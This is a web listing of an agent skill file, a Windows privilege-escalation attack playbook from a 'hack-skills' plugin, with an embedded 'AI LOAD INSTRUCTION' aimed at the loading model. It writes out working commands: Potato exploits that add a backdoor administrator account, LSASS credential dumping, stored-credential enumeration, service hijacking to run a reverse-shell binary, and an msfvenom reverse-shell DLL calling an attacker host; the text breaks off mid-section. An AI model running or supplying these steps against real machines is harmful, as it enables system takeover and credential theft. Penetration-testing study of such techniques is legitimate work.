Skip to content
Security
Skill

/windows-privilege-escalation

Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.

From plugin
hack-skills
2.7k103 skills

Claude Code

$ npx -y skills add yaklang/hack-skills --skill windows-privilege-escalation --agent claude-code

SKILL.md

windows-privilege-escalation.SKILL.md
name: windows-privilege-escalation
description: >-
  Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.

SKILL: Windows Local Privilege Escalation — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert Windows privesc techniques. Covers token manipulation, Potato family, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Base models miss nuanced privilege prerequisites and OS-version-specific constraints.

0. RELATED ROUTING

Before going deep, consider loading:

  • [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after escalation for pivoting to other hosts
  • [windows-av-evasion](../windows-av-evasion/SKILL.md) when AV/EDR blocks your privesc tools
  • [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) when the host is domain-joined and you need AD-level escalation
  • [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for domain privilege escalation via ACL misconfigurations

Advanced Reference

Also load [TOKEN_POTATO_TRICKS.md](./TOKEN_POTATO_TRICKS.md) when you need:

  • Detailed Potato family comparison (JuicyPotato → GodPotato evolution)
  • OS-version-specific exploit selection
  • Required privileges and protocol details per variant

Also load [UAC_BYPASS_METHODS.md](./UAC_BYPASS_METHODS.md) when you need:

  • UAC bypass technique matrix (fodhelper, eventvwr, sdclt, etc.)
  • Auto-elevate binary abuse
  • Mock trusted directory tricks

---

1. ENUMERATION CHECKLIST

System Context

whoami /all                        & REM Current user, groups, privileges
systeminfo                         & REM OS version, hotfixes, architecture
hostname                           & REM Machine name
net user %USERNAME%                & REM Group memberships

Token Privileges (Critical)

whoami /priv

| Privilege | Escalation Path | |---|---| | `SeImpersonatePrivilege` | Potato family exploits (§2) | | `SeAssignPrimaryTokenPrivilege` | Token manipulation, Potato variants | | `SeDebugPrivilege` | Dump LSASS, inject into SYSTEM processes | | `SeBackupPrivilege` | Read any file (SAM/SYSTEM/NTDS.dit) | | `SeRestorePrivilege` | Write any file (DLL hijack, service binary) | | `SeTakeOwnershipPrivilege` | Take ownership of any object | | `SeLoadDriverPrivilege` | Load vulnerable kernel driver → kernel exploit |

Services & Scheduled Tasks

sc query state= all                & REM All services
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
schtasks /query /fo LIST /v        & REM Verbose scheduled task list

Installed Software & Patches

wmic product get name,version
wmic qfe list                      & REM Installed patches

Network & Credentials

netstat -ano                       & REM Listening ports + PIDs
cmdkey /list                       & REM Stored credentials
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul

---

2. TOKEN MANIPULATION & POTATO EXPLOITS

SeImpersonatePrivilege Abuse

Service accounts (IIS AppPool, MSSQL, etc.) typically hold `SeImpersonatePrivilege`. This enables impersonation of any token presented to you.

| Tool | OS Support | Protocol | Notes | |---|---|---|---| | **JuicyPotato** | Win7–Server2016 | COM/DCOM | Requires valid CLSID; patched on Server2019+ | | **RoguePotato** | Server2019+ | OXID resolver redirect | Needs controlled machine on port 135 | | **PrintSpoofer** | Win10/Server2016-2019 | Named pipe via Print Spooler | Simple, fast; Spooler must run | | **SweetPotato** | Broad | COM + Print + EFS | Combines multiple techniques | | **GodPotato** | Win8–Server2022 | DCOM RPCSS | Works on latest patched systems |

# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"

# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"

# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}

SeDebugPrivilege Abuse

# Dump LSASS (if SeDebugPrivilege is enabled)
procdump -ma lsass.exe lsass.dmp

# Or migrate into a SYSTEM process
# Meterpreter: migrate to winlogon.exe / services.exe

---

3. SERVICE MISCONFIGURATIONS

Unquoted Service Paths

# Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """

If path is `C:\Program Files\My App\service.exe`, Windows tries: 1. `C:\Program.exe` 2. `C:\Program Files\My.exe` 3. `C:\Program Files\My App\service.exe`

Place malicious binary at first writable location.

Weak Service Permissions

# Check service ACL with accesschk (Sysinternals)
accesschk64.exe -wuvc * /accepteula
# Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS
# Reconfigure service to run attacker binary
sc config vuln_svc binpath= "C:\temp\rev.exe"
sc stop vuln_svc
sc start vuln_svc

Writable Service Binaries

# Check if current user can write to the service binary path
icacls "C:\Program Files\VulnApp\service.exe"
# (F) = Full, (M) = Modify, (W) = Write → replace binary

---

4. DLL HIJACKING

DLL Search Order (Standard)

1. Directory of the executable 2. `C:\Windows\System32` 3. `C:\Windows\System` 4. `C:\Windows` 5. Current directory 6. Directories in `%PATH%`

Exploitation

# Find missing DLLs (use Process Monitor)
# Filter: Result=NAME NOT FOUND, Path ends with .dll

# Compile malicious DLL
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll

# Place in writable directo
Read more
@yaklang
Ships withhack-skills

Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.

2.7k103 skills
Get the whole plugin

Stars on GitHub

Momentum

stars in total
2.7k
Star history of yaklang/hack-skills on GitHub, a chart by star-history.com

Other skills on hack-skills.

ai-ml-security

ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples,…

@yaklang@yaklangInstall Skill

More skills from other plugins.

api-security

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…

@zhaoxuya520@zhaoxuya520Install Skill
nemoclaw-user-guide

nemoclaw-user-guide

Find official NemoClaw documentation for installation, configuration, operation, or troubleshooting. Also handles requested docs…

nemoclaw13d23k
@nvidia@nvidiaInstall Skill

Questions about windows-privilege-escalation.

Which coding agents can use windows-privilege-escalation?
windows-privilege-escalation installs in Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode and Windsurf with the skills CLI, using each agent's flag shown on this page. Flowy's auto-invocation, which fires a skill when your prompt matches, runs in Claude Code only.